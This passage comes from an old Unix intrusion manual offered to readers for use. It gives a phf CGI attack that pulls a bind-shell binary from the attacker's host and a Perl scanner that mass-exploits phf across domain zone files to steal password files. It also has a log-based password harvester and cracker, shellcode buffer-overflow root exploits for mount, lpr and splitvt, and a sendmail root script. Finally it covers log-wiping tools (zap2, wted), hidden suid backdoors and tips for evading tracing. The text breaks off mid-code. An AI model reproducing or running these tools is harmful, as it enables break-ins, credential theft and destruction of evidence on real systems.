      www.host.to.hack
      
      /etc/inetd.conf:
      shell   stream  tcp     nowait  root    /usr/sbin/tcpd  in.rshd -L
      
      ~test/.rhosts:
      www.host.to.hack nobody
      
      ok.. so once you have all that set up you can get things onto the remote
      host. 
      
      What I used to do was transfer little hacks across that had been heavily
      modified to work whilst being executed by phf.  It was not a pleasant
      affair, nor very effective.  Now we have a solution.  What we send across
      is a modified in.telnetd.  It has been modified to start up in "debug"
      mode which makes it bind to a port (9999) and execute /bin/sh instead of
      /bin/login.  It also forks before executing the shell which means it will
      sit on port 9999 and accept as many connections as you want.  
      
      So, to get this onto the remote host, all we have to do is put it in
      test's homedir (make sure it's readable) and do:
      
              phf 'rcp test@my.ip.address:bindwarez /tmp' www.host.to.hack
      
      in your local logs you will see a connection attempt to in.rshd and the
      command it executes (something like 'rcp -f bindwarez').. after the phf
      finishes bindwarez will be in the /tmp on the remote machine.  You can now
      execute it and telnet to port 9999.  
      
      If the web site was stupid enough to be running httpd as root you will now
      want to secure it by installing an in.telnetd trojan and cleaning up the
      logs.  However, more likely, you will only have a nobody shell and have to
      hack root with some other sploit.  I usually find this no problem because
      the admin has taken it as granted that no-one will ever have a shell on
      their www box and thus there's no need to secure it - which they're
      obviously not very good at if they still have sploitable phf.  
      
      I cant stress the importance of cleaning out the logs tho.  Your address,
      the one in the rcp command you sent, is right there for the admin to see.
      They dont even have to dig.  These logs are usually in
      /usr/local/etc/httpd/logs and sometimes in /var/lib/httpd/logs.  The best
      way to find it is to try these locations and then, if you still don't find
      it, do: find / -name cgi-bin.  That'll do it.  Also don't forget to kill
      the bindwarez processes and remove the /tmp/bindwarez.  
      
      This is a really kewl attack.. it solves a lot of problems which makes phf
      so annoying.  
      
      L8s
      
      QuantumG
      
      
      Another way to use phf would be to use the perl script a few scripts above
      called getdomain.pl to rip host names out of the domain files on
      rs.internic.net, after this is done you can 'probe' every domain on the net
      using geturl.pl.
      
      Here is the script:
      
      geturl.pl
      --------- cut here
      
      #!/usr/bin/perl -w
      #
      # geturl by Nfin8 / Invisible Evil
      # Questions to: /msg i-e  or  /msg i^e
      #
      # Format of http://website.dom/cgi-bin/phf?Qalias=x%0a/usr/bin/id
      # Format of http://website.dom/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
      # IF result of first command returns an "id=" then check for user. If user
      # is not root then execute the 2nd form.
      
      # Assign null list to @URLs which will be added to later.
      my(@URLs)=();
      my($program) = "lynx -dump";
      
      # Pull off filename from commandline. If it isn't defined, then assign default.
      my($URLfilename) = shift;
      $URLfilename = "urls" if !defined($URLfilename);
      
      # Do checking on input.
      die("GetURL: $URLfilename is a directory.\n") if (-d $URLfilename);
       
      # Open and read contents of URL file into @URL by line.
      open(FILE, $URLfilename) or die("GetURL: Cannot open $URLfilename for input.\n");
      @URLs = <FILE>;
      close(FILE);
      
      # Open output file.
      open(OUTFILE, ">>GetURLResults") or die("GetURL: Cannot open output file.\n");
      
      my($url)="";
      foreach $url (@URLs) {
        print ("Now checking: $url");
        chomp($url);
        $result = `$program http://${url}/cgi-bin/phf?Qalias=x%0a/usr/bin/id`;
        print OUTFILE ("\n============ $url ============\n");
        foreach (split(/\n/, $result)) {
          print OUTFILE ("$_\n");
        }
        if ($result =~ m/id=/i) {
          if ($result =~ m/root/i) {
            print ("Logging root response.\n");
          } else {
            print ("Got ID response, getting /etc/passwd...");
            $result = `$program http://${url}/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd`;
            
            # Output results to file named <domain>.passwd;
            local($domainfilename)="";
            $domainfilename = $url;
            if (open(PASSWDFILE, ">${domainfilename}.passwd")) {
              print PASSWDFILE ("\n");
              foreach (split(/\n/, $result)) {
                print PASSWDFILE ("$_\n");
              }
              close(PASSWDFILE);
              print ("Done! [$domainfilename].\n");
            } else {
              print ("FAILED! [$domainfilename].\n");
            }
          }
        }
      }
        
      # We are done. Close the output file and end the program.
      close (OUTFILE);
      
      
      0;
      
      ------------- cut here
      
      Ok this is easy, if you name your domain file urls, you are all set to go.
      Just type geturl.pl after chmod +x on the file.
      
      Here are my doc's for the file:
      
      This handy tool is easy to use and will get you some root access and
      many passwd files from different domains.
      
      geturl.pl will try and log results for every domain on the internet.  You
      choose the type: .COM .EDU .ORG .MIL .GOV  (OR) you can supply a list of
      IP addresses to  be checked.  If  finds a root access account it
      will simply log uid=root in the result file and go on to the next domain.
      If PHF Probe finds non-root access it will snag the passwd file for you and
      save it in the current directory in the (domainname.???.passwd) format.
      
      Here are the short doc's and how it works.  Any questions /msg i-e or i^e
      
      ftp to ftp.rs.internic.net
      
      in the domain directory you will find:
      
      com.zone.gz
      edu.zone.gz
      gov.zone.gz
      mil.zone.gz
      net.zone.gz
      org.zone.gz
      
      download these files and run getdomain.pl on the domains you want to target
      first, in this manor:  "perl getdomain.pl com.zone com >com.all"
      
      What this will do is rip all of the .COM domains and put them into a file
      called com.all.
      
      If you wanted to do all of the .EDU addresses you would type:
      
      perl getdomain.pl edu.zone edu >edu.all
      
      Now you will have a list to use with (geturl.pl) called edu.all
      
      To use this list just type:
      
      geturl.pl <filename>
      
      filename=edu.all or com.all  and leave out the <>'s
      if you name your domain file 'urls' it does not require <filename>
      
      results will log into a file name of: GetURLResults in the current directory.
      
      1. geturl.pl will search using lynx (make sure it is in your path)
      
      2. if geturl finds it has root access to httpd on a url it will just log
         root for that domain in the result file.  If geturl finds it is not root,
         but still has access to the domain using phf it will snatch the domain
         passwd file and save it in the current directory under fulldomainname.passwd
      
      3. if you like you can just give a list of ip addresses in the feed file
      
      4. i use os/2 with lynx and perl ported to the hpfs so i have no problems
         with the long file names.  i have tested it under unix and it works good
         so you should have no problems running this in a unix shell.
      
      What you need:
      
      1. Perl in the path
      2. Lynx in the path
      3. 256 char filenames ie: (unix or os/2 hpfs)
      4. The files included here
      5. Internic's domain files from their ftp or just make your own list or
         urls or IP's and name the file 'urls' and type: geturl.pl
      
      Caution:
      
      It would be best if you paid cash for an internet account in your area under
      another name or used a hacked account to get all of your results, then used
      another safe account to start your work on the results.  BUT I don't need to
      tell you this right?  I take no blame for these files, they are provided for
      you to use to check security on domains ;)
      
      
       getdomain.pl: to rip .ORG .COM .EDU .MIL .GOV Internic domain files
          geturl.pl: to check and log the results of each domain
      GetURLResults: The file that geturl makes as its log file
      
      Here is one more thought:
      
      If you can read the /var/adm/messages file you can get some user passwords
      out of there lotz of times!  I have even got ROOT passwords from there!
      
      Wow many times have you been in a hurry to login?  You type the password
      at the Login:  his is easy to do on one of those days that nothing seems to
      be going right.  You failed the login twice, the system is running slow, and it
      just happens!
      
      Login: you hit enter
      Password: you think this is wanting the login name so you type your name
      Login: you type your password
      
      In the messages file it looks like this:
      
      Login: yourpassword
      Password ****** They don't give it, only the login name, but ooops, you
      typed your password, and if we have access to read the messages file,
      we have a good password to put in crackerjack and run it.  If on a small
      system, no prob ... lets hope it's root ;)
      
      Here is a script to make things easy!
      
      
      FOR QUANTUM'S BINDWAREZ FILE: You will find it at the end of this paper
      in the appendix uuencoded.
      
      ------------ cut here
      
      #!/bin/sh
      # Under a lot of linux distributions(I know Redhat 3.0.3 and Slackware 3.0)
      # /var/log/messages is world readable. If a user types in his password at
      # the login prompt, it may get logged to /var/log/messages.
      #
      # I could swear this topic has been beaten to death, but I still see this
      # problem on every linux box I have access to.
      #
      # Dave G.
      # 12/06/96
      # <daveg@escape.com>
      # http://www.escape.com/~daveg
      
      echo Creating Dictionary from /var/log/messages, stored in /tmp/messages.dict.$$
      
      grep "LOGIN FAILURE" /var/log/messages | cut -d',' -f2 | cut -c2- | sort | uniq >> /tmp/messages.dict.$$
      
      if [ ! -e ./scrack ]
      then
         echo "Creating scrack.c"
         cat << ! > scrack.c
      #include <stdio.h>
      #include <unistd.h>
      #include <pwd.h>
      #include <sys/types.h>
      #define get_salt( d, s ) strncpy( d, s, 2 )
      void
      main(argc,argv)
      int argc;
      char **argv;
      {
         struct passwd *pwd;
         FILE *fp;
         char buff[80], salt[3], *encrypted_string;
      
         if ( ( fp = fopen( argv[1], "r" ) ) == NULL )
         {
            fprintf( stderr, "Couldnt find dict file\n" );
            exit(1);
         }
         while ( fgets( buff, 80, fp ) != NULL )
         {
            setpwent();
            buff[strlen(buff)-1]='\0';
            while ( ( pwd = getpwent() ) != NULL )
            {
              if ( strcmp( (*pwd).pw_passwd, "*" ) != 0 &&
                 ( strlen( (*pwd).pw_passwd ) == 13 ) )
              {
                 get_salt(salt, (*pwd).pw_passwd );
      
                 encrypted_string = crypt( buff, salt );
                 if ( strcmp( encrypted_string, (*pwd).pw_passwd ) == 0 )
                 {
                   fprintf( stdout, "l: %s p: %s\n", (*pwd).pw_name, buff);
                   fflush(stdout);
                 }
               }
            }
         }
      }
      !
         echo "Creating scrack"
         cc -O6 -fomit-frame-pointer -s -o scrack scrack.c
      fi
      
      ./scrack /tmp/messages.dict.$$
      
      echo /tmp/messages.dict.$$, ./scrack, and ./scrack.c still exist, delete them yourself.
      
      ------ cut here
      
      -----------------------
      Section 3B
      Newbe's
      -----------------------
      
      Yup, again, just another place to get password files.  Just follow the guide
      lines in section 2B.  Use your sly ideas and get out there and make some
      lame friends ;)
      
      Remember you could have been a lammer before you read this manual <G>rin
      
      -----------------------------
      Section 3C
      Getting shadow passwd files
      -----------------------------
      
      What is a shadow password file?
      
      Lets just use the passwd file above to show you what it would look like to you
      if you cat it.
      
      root:x:0:0:root:/root:/bin/bash
      bin:x:1:1:bin:/bin:
      daemon:x:2:2:daemon:/sbin:
      adm:x:3:4:adm:/var/adm:
      lp:x:4:7:lp:/var/spool/lpd:
      sync:x:5:0:sync:/sbin:/bin/sync
      shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
      halt:x:7:0:halt:/sbin:/sbin/halt
      mail:x:8:12:mail:/var/spool/mail:
      news:x:9:13:news:/usr/lib/news:
      uucp:x:10:14:uucp:/var/spool/uucppublic:
      operator:x:11:0:operator:/root:/bin/bash
      games:x:12:100:games:/usr/games:
      man:x:13:15:man:/usr/man:
      postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash
      nobody:x:-2:100:nobody:/dev/null:
      ftp:x:404:1::/home/ftp:/bin/bash
      guest:x:405:100:guest:/dev/null:/dev/null
      bhilton:x:501:100:Bob Hilton:/home/bhilton:/bin/bash
      web:x:502:100:Web Master:/home/web:/bin/bash
      mary:x:503:100:Mary C. Hilton:/home/mary:/bin/bash
      
      Something missing?  Yup, the encrypted passwords.  If you get root access the
      encrypted passwords are in /etc/shadow.  Some admin's will hide the shadow file
      in some weird directory somewhere, but most of the time you will find it right
      in /etc.  Other shadow programs might put it in a master.passwd file.  But if
      you get root just have a good look around.
      
      Lets say you have an account on the machine and just can't get root access.
      
      Not a problem if they are using libc 5.4.7, at this time most still are ;)
      Also one of these files have to have suid perm's (no prob):
      
      ping, traceroute, rlogin, or, ssh
      
      1. Type bash or sh to start a bash shell
      2. Type: export RESOLV_HOST_CONF=/etc/shadow
      3. Type one of the file names above with asdf, like this:
      
      ping asdf
      
      It should cat the passwd shadow file for you if it works.
      I seem to find it working on most of the systems i am going on these days.
      
      Note: you can replace /etc/shadow with any root owned file you want to read.
      
      Here is a quick script you can run on any file you want to make it easy:
      
      rcb.c
      -------- cut here
      
      /* RCB Phraser - therapy in '96
       * Limits: Linux only, no binary files.
       * little personal message to the world: FUCK CENSORSHIP!
       */
      
      #include <stdio.h>
      
      void getjunk(const char *filetocat)
      { setenv("RESOLV_HOST_CONF",filetocat,1);
        system("ping xy 1> /dev/null 2> phrasing");
        unsetenv("RESOLV_HOST_CONF");
      }
      
      void main(argc,argv)
      int argc; char **argv;
      { char buffer[200];
        char *gag;
        FILE *devel;
        
        if((argc==1) || !(strcmp(argv[1],"-h")) || !(strcmp(argv[1],"--help")))
        { printf("RCB Phraser - junked by THERAPY\n\n");
          printf("Usage: %s [NO OPTIONS] [FILE to cat]\n\n",argv[0]);
          exit(1);
        }
        getjunk(argv[1]);
        gag=buffer;
        gag+=10;
        devel=fopen("phrasing","rb");
        while(!feof(devel))
        { fgets(buffer,sizeof(buffer),devel);
          if(strlen(buffer)>24)
          { strcpy(buffer+strlen(buffer)-24,"\n");
            fputs(gag,stdout);
          }
        }
        fclose(devel);
        remove("phrasing");
      }
      
      -------------- cut here
      
      command line : rcb /etc/shadow  or any other file on the system you
      can't read ;)
      
      --------------------
      Section 3D
      Getting /etc/hosts
      --------------------
      
      Just a precaution, sometimes you will need to know what other systems
      are in the hosts file, or what are all of the ip addresses or different domains
      on the system.  Make sure to cat the /etc/hosts file for more information
      you might need later.
      
      --------------------------
      Chapter IV
      Getting the root account
      --------------------------
      Like I said before all you need is one account in most cases, if you cannot get
      root on the system you might want to trade it off to some irc junkie that
      just wants to load a bot, for some other account or info that can help you in
      your hacking quest.  There will be enough information here so that if you can't
      get root access, their system is well kept and probably will be kept up in the
      future.  You can always lay the account on the side, put the info in some kind
      of log file with some good notes so that you can come back at a later time,
      like right when a new exploit comes out ;)
      
      Try to stay out of the system until that time so that you do not risk loosing
      the account.  Remember that when you login to an account and can't get root
      you will not be able to clean the logs, and the next time the user logs in he
      might see a message that says: last login from xxx.com time:0:00 date:xx/xx/xx
      
      ------------
      Section 4A
      Bugs
      ------------
      
      There are many bugs out there in different programs that you can use to get
      root.  It might be a game installed on the system, or even the sendmail
      program.  If they do not update their programs on a regular basis, you can
      be sure you will be able to get in now, and if not, soon to come.
      
      I will be sure to provide the main exploits and bugs here and other less
      used below in the appendix section.  I will make sure here to give you detailed
      english terms so that you can exploit root on the system.  But please be sure
      to read the sections below, and this manual entirely before proceeding, to be
      sure you get started in the right way and not blow you chances of having a
      long stay on the system.
      
      ------------
      Section 4B
      Exploits
      ------------
      
      umount/mount exploit
      
      Look in the /bin directory for a file called umount (or mount),
      if you do not find it there do a search for the file like this:
      
      find / -name umount -print -xdev
      
      (you can look for any other file name the same way)
      
      Go to the directory where the file is and do: ls -al um*
      
      If the file has suid perm's you can probably get root.
      
      SUID perm's has the rws for the owner of the file which is root.  What you are
      looking for is the (s)
      
      
      Look here:
      
      victim:/bin# ls -al um*
      -rwsr-sr-x   1 root         8888 Mar 21  1995 umount
      victim:/bin#
      
      This machine we can get root by a compile on the file below:
      
      umount.c
      ------ cut here
      
      /* sno.c : Linux realpath exploit
       * Syntax: ./sno N
       *         mount $WOOT 
       *    OR  umount $WOOT
       * N is some number which seems to differ between 4 & 8, if your number is
       * too big, you will get a mount error, if it is too small, it will seg
       * fault.  Figure it out.  (Sometimes N=0 for mount)
       * If you use mount, first thing to do once you get the root shell is rm 
       * /etc/mtab~, if this file exists you can't root with mount until it is 
       * removed.
       * 
       *
       *                                          -ReDragon
       */
      #define SIZE 1024
      
         long get_esp(void)
         {
         __asm__("movl %esp,%eax\n");
         }
      
         main(int argc, char **argv)
         {
         char env[SIZE+4+1]; /* 1024 buffer + 4 byte return address + null byte */
         int a,r;
         char *ptr;
         long *addr_ptr;
         char execshell[] =
         "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
         "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
         "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
         char *exec_ptr = execshell;
      
         r=atoi(argv[1]);  
         ptr = env;
         memcpy(ptr,"WOOT=",5); /* set environment variable to use */
         ptr += 5;              
      
         for(a=0;a<SIZE+4-strlen(execshell)-r;a++)  /* pad front with NOPs */
      
            *(ptr++) = 0x90;
         while (*exec_ptr)
            *(ptr++) = *(exec_ptr++);
         addr_ptr = (long *)ptr;
         *(addr_ptr++) = get_esp()+1139;  /* 0xbffffc01 */
      
         ptr = (char *) addr_ptr;  
         *ptr = 0; /* must end with null byte to terminate string */
         putenv(env);
         system("/bin/mount $WOOT");
      }
      
      ----------- cut here
      
      **********************************
      To compile the file on the victims machine type gcc umount.c (or what ever
      name you called it) -o um
      
      This will make a file called um that you can exec.  Sometimes you will need
      to put a ./ in front of the file like this: ./um
      
      With this exploit you might also have to give it a number like:
      ./um 0 (or) ./um 4 ....alltheway up to 8... like this again ./um 8
      
      
      *************************************
      If you fail here you might want to try lpr.  Look in the /usr/bin for lpr and
      see if it is SUID, if it is lpr should work if it is up on the system.
      
      ls -l lpr
      
      Ok it had suid perm's?  Use this script
      
      *************************************
      lpr.linux.c
      ------------- cut here
      
      #include <stdio.h>
      #include <stdlib.h>
      #include <unistd.h>
      
      #define DEFAULT_OFFSET          50
      #define BUFFER_SIZE             1023
      
      long get_esp(void)
      {
         __asm__("movl %esp,%eax\n");
      }
      
      void main()
      {
         char *buff = NULL;
         unsigned long *addr_ptr = NULL;
         char *ptr = NULL;
      
         u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
                              "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
                              "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
                              "\xd7\xff\xff\xff/bin/sh";
         int i;
      
         buff = malloc(4096);
         if(!buff)
         {
            printf("can't allocate memory\n");
            exit(0);
         }
         ptr = buff;
         memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
         ptr += BUFFER_SIZE-strlen(execshell);
         for(i=0;i < strlen(execshell);i++)
            *(ptr++) = execshell[i];
         addr_ptr = (long *)ptr;
         for(i=0;i<2;i++)
            *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
         ptr = (char *)addr_ptr;
         *ptr = 0;
         execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
      }
      ---------- cut here
      
      ***************************
      Here is the BSD version
      ***************************
      
      lpr.bsd.c
      --------------------------------------------------------- cut here
      #include <stdio.h>
      #include <stdlib.h>
      #include <unistd.h>
      
      #define DEFAULT_OFFSET          50
      #define BUFFER_SIZE             1023
      
      long get_esp(void)
      {
         __asm__("movl %esp,%eax\n");
      }
      
      void main()
      {
         char *buff = NULL;
         unsigned long *addr_ptr = NULL;
         char *ptr = NULL;
      
         char execshell[] =
         "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
         "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
         "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
         "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
      
         int i;
      
         buff = malloc(4096);
         if(!buff)
         {
            printf("can't allocate memory\n");
            exit(0);
         }
         ptr = buff;
         memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
         ptr += BUFFER_SIZE-strlen(execshell);
         for(i=0;i < strlen(execshell);i++)
            *(ptr++) = execshell[i];
         addr_ptr = (long *)ptr;
         for(i=0;i<2;i++)
            *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
         ptr = (char *)addr_ptr;
         *ptr = 0;
         execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
      }
      --------- cut here
      
      Now just compile it and chmod it +x, and run it.
      
      Watch this one on the group file owner.  Any file you copy will have
      group owner as lp, make sure you chgrp root filename on any file you
      write.  Always be watching the user groups with ls -l and if you changed
      any change them back like this:
      
      chgrp groupname filename
      
      It is a good idea to use this exploit ONLY to get the root access, then
      just copy bash or sh to another file name on the system somewhere and make
      it root root, suid:  Group owner and File owner root, then chmod it +s
      
      This will give you root access in the future as gid and uid root, without using
      the lp group.  Make sure you name it something that looks like it should be
      running as a root process somewhere ;)
      
      *****************
      Here is another that is still around after a while, look for SUID perm's
      on a file /usr/bin/splitvt
      
      If it has suid perm's use this file below, but be sure to read the directions
      after the exploit:
      ****************************************
      sp.c
      -------------------------------------------- cut here
      /*
       *            Avalon Security Research
       *                          Release 1.3
       *                           (splitvt)
       *
       * Affected Program: splitvt(1)
       *
       * Affected Operating Systems: Linux 2-3.X
       *
       * Exploitation Result: Local users can obtain superuser privileges.
       *
       * Bug Synopsis: A stack overflow exists via user defined unbounds checked
       * user supplied data sent to a sprintf(). 
       *
       * Syntax: 
       * crimson~$ cc -o sp sp.c
       * crimson~$ sp
       * bash$ sp
       * bash$ splitvt
       * bash# whoami
       * root
       *
       * Credit: Full credit for this bug (both the research and the code)
       * goes to Dave G. & Vic M.  Any questions should be directed to
       * mcpheea@cadvision.com . 
       *
       * ----------------------------------------------------------------------------
       */
      
      
      long get_esp(void)
      {
      __asm__("movl %esp,%eax\n");
      }
      main()
      {
        char eggplant[2048];
        int a;
        char *egg;
        long *egg2;
        char realegg[] =
      "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
      "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
      "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
        char *eggie = realegg;
      
        egg = eggplant;
      
        *(egg++) = 'H';
        *(egg++) = 'O';
        *(egg++) = 'M';
        *(egg++) = 'E';
        *(egg++) = '=';
      
        egg2 = (long *)egg;
      
        for (a=0;a<(256+8)/4;a++) *(egg2++) = get_esp() + 0x3d0 + 0x30;
      
        egg=(char *)egg2;
      
        for (a=0;a<0x40;a++) *(egg++) = 0x90;
      
        while (*eggie)
          *(egg++) = *(eggie++);
        *egg = 0; /* terminate eggplant! */
      
        putenv(eggplant);
      
        system("/bin/bash");
      }
      
      -------------- cut here
      
      Ok this is how splitvt works:
      
      1. Compile the file
      2. Run the sp file
      3. Run splitvt
      
      Before you run the file:   whoami {press enter}
                                 username
      After you run the exploit: whoami
                                 root
      
      *******************************************************
      
      Now if all of these have not got you root, try sm.sh.  This is a sendmail
      bug that works with 8.73 to 8.83 (maybe some others)
      
      Here is the script:
      
      sm.sh
      ---------- cut here
      echo   'main()                                                '>>smtpd.c
      echo   '{                                                     '>>smtpd.c
      echo   '  setuid(0); setgid(0);                               '>>smtpd.c
      echo   '  system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");      '>>smtpd.c
      echo   '}                                                     '>>smtpd.c
      echo   'main()                                                '>>leshka.c
      echo   '{                                                     '>>leshka.c
      echo   '  execl("/usr/sbin/sendmail","/tmp/smtpd",0);         '>>leshka.c
      echo   '}                                                     '>>leshka.c
      
      cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
      ./leshka
      kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1`
      rm leshka.c leshka smtpd.c /tmp/smtpd
      cd /tmp
      sh
      ------------ cut here
      
      Just chmod the file +x like this
      
      chmod +x sm.sh
      
      1. Run the file
      2. It will take you to the /tmp directory
      3. type ls -l and see if you have a SUID sh file there, if you do, type
         whoami, if not root, run the file ./sh, now see if you are root ;)
      
      I will add many more scripts in the appendix, but these should be the best
      at this time to get root access on linux or BSD, if you need another BSD
      exploit try the crontab exploit for BSD in the appendix.
      ****************************************************************************
      
      --------------------------
      Chapter V
      Making yourself invisible
      --------------------------
      
      The whole point of this hacking stuff is that you continue to have access to as
      many points of information as possible.  If you do stupid things, of fail just
      once to clean your utmp or wtmp, xferlog's, etc ... you can loose access to the
      system.  Make yourself a regular order to follow and learn each system well!
      
      Become part of the system, and take many notes if you are doing many systems
      at once.  But remember make yourself a routine.  Have your set routine of
      taking your time to clean any presence of your login, transfers, etc.  Do NOT fail
      in this one thing or you will loose access and possibly face some sort of
      charges.
      
      ----------------------------
      Section 5A
      Zap2 (for wtmp/lastlog/utmp)
      ----------------------------
      
      There are different log cleaning programs out there, but the best of these
      is zap2.  I compile mine to be named z2.
      
      z2 will be run right after you get root access.  This will want to be one of
      the fastest things you run.  (you never know)
      
      You might want to do a finger @host.xxx to see who is on now, look at the idle
      time of root or admin accounts to see if they are away doing something.
      
      Login, and as soon as you get on, type w, to see idle time and who is on, but
      at the same time you are looking at that be typing your root access command
      that you should have waiting somewhere nested in the system.  As soon as you
      get your root access, type ./z2 username-u-logged-in-as
      
      Now you are safer then you were.  Do a w or who command to see that you are
      gone from the utmp.  If you ftp, or do other things you might have to use
      other programs I will include in the next section called wted and lled.
      
      Lets finish with this z2 first.  You will have to see where each file is in
      the system and edit z2.c to include the right location of these files
      
      Here is the area you will look for right at the top of the file:
      
      #define WTMP_NAME "/usr/adm/wtmp"
      #define UTMP_NAME "/etc/utmp"
      #define LASTLOG_NAME "/usr/adm/lastlog"
      
      Most of the systems I login to are:
      
      #define WTMP_NAME "/var/adm/wtmp"
      #define UTMP_NAME "/var/adm/utmp"
      #define LASTLOG_NAME "/var/adm/lastlog"
      
      
      But you do your own look around to see were the files are.  Also /var/log:
      is a regular location.
      
      Add the log locations for each system, compile the file, and you are all ready
      to be invisible right after the login using z2
      
      Here is the .c file
      
      z2.c
      --------------------------- cut here
      #include <sys/types.h>
      #include <stdio.h>
      #include <unistd.h>
      #include <sys/file.h>
      #include <fcntl.h>
      #include <utmp.h>
      #include <pwd.h>
      #include <lastlog.h>
      #define WTMP_NAME "/usr/adm/wtmp"
      #define UTMP_NAME "/etc/utmp"
      #define LASTLOG_NAME "/usr/adm/lastlog"
       
      int f;
       
      void kill_utmp(who)
      char *who;
      {
          struct utmp utmp_ent;
       
        if ((f=open(UTMP_NAME,O_RDWR))>=0) {
           while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
             if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                       bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                       lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                       write (f, &utmp_ent, sizeof (utmp_ent));
                  }
           close(f);
        }
      }
       
      void kill_wtmp(who)
      char *who;
      {
          struct utmp utmp_ent;
          long pos;
       
          pos = 1L;
          if ((f=open(WTMP_NAME,O_RDWR))>=0) {
       
           while(pos != -1L) {
              lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
              if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
                pos = -1L;
              } else {
                if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                     bzero((char *)&utmp_ent,sizeof(struct utmp ));
                     lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
                     write (f, &utmp_ent, sizeof (utmp_ent));
                     pos = -1L;
                } else pos += 1L;
              }
           }
           close(f);
        }
      }
       
      void kill_lastlog(who)
      char *who;
      {
          struct passwd *pwd;
          struct lastlog newll;
       
           if ((pwd=getpwnam(who))!=NULL) {
       
              if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
                  lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
                  bzero((char *)&newll,sizeof( newll ));
                  write(f, (char *)&newll, sizeof( newll ));
                  close(f);
              }
       
          } else printf("%s: ?\n",who);
      }
       
      main(argc,argv)
      int argc;
      char *argv[];
      {
          if (argc==2) {
              kill_lastlog(argv[1]);
              kill_wtmp(argv[1]);
              kill_utmp(argv[1]);
              printf("Zap2!\n");
          } else
          printf("Error.\n");
      }
      --------------------------- cut here
      
      ---------------
      Section 5B
      Other scripts
      ---------------
      
      Now we come to the other part of this.  Lets say that after you login, and do
      your z2, you need to ftp in to grab a file. (remember NEVER ftp or telnet out)
      Ok, you ftp in and grab a few files, or login to another account on the system,
      now you will need to use wted.  wted will let you edit the wtmp to remove your
      login from the ftp.  You also might need to use the lled (lastlog edit).
      
      Here is the menu if you type ./wted, after setting log locations & compile:
      
      [8:25pm][/home/compile]wted
      Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
                  -h      This help
                  -f      Use FILE instead of default
                  -a      Show all entries found
                  -u      Show all entries for USER
                  -b      Show NULL entries
                  -e      Erase USER completely
                  -c      Erase all connections containing HOST
                  -z      Show ZAP'd entries
                  -x      Attempt to remove ZAP'd entries completely
      
      So if i ftp to username tsmith I would type wted -x -e tsmith
      
      The program will now prompt you one login at a time for the user tsmith asking
      if you want to delete it.  After you delete your login, make sure to
      chmod 644 the wtmp.tmp file and then copy it over the top of the wtmp file in
      the log directory.  Like this:
      
      1. chmod 644 wtmp.tmp
      2. cp wtmp.tmp /var/adm/wtmp
      
      Here is your wted program:
      
      MAKE SURE TO HAVE THE RIGHT PATH TO THE char file below
      So make sure you have the right path to the wtmp file.
      
      wted.c
      ---------------------- cut here
      #include <stdio.h>
      #include <utmp.h>
      #include <time.h>
      #include <fcntl.h>
      
      char *file="/var/adm/wtmp";
      
      main(argc,argv)
      int argc;
      char *argv[];
      {
      int i;
      if (argc==1) usage();
      for(i=1;i<argc;i++)
              {
              if(argv[i][0] == '-')
                      {
                      switch(argv[i][1])
                              {
                              case 'b': printents(""); break;
                              case 'z': printents("Z4p"); break;
                              case 'e': erase(argv[i+1],0); break;
                              case 'c': erase(0,argv[i+1]); break;
                              case 'f': file=argv[i+1]; break;
                              case 'u': printents(argv[i+1]); break;
                              case 'a': printents("*"); break;
                              case 'x': remnull(argv[i+1]); break;
                              default:usage();
                              }
                      }
              }
      }
      
      printents(name)
      char *name;
      {
      struct utmp utmp,*ptr;
      int fp=-1;
      ptr=&utmp;
      if (fp=open(file,O_RDONLY))
              {
              while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp))
                      {
                      if ( !(strcmp(name,ptr->ut_name)) || (name=="*") ||
                      (!(strcmp("Z4p",name)) && (ptr->ut_time==0)))
                              printinfo(ptr);
                      }
              close(fp);
              }
      }
      
      printinfo(ptr)
      struct utmp *ptr;
      {
      char tmpstr[256];
      printf("%s\t",ptr->ut_name);
      printf("%s\t",ptr->ut_line);
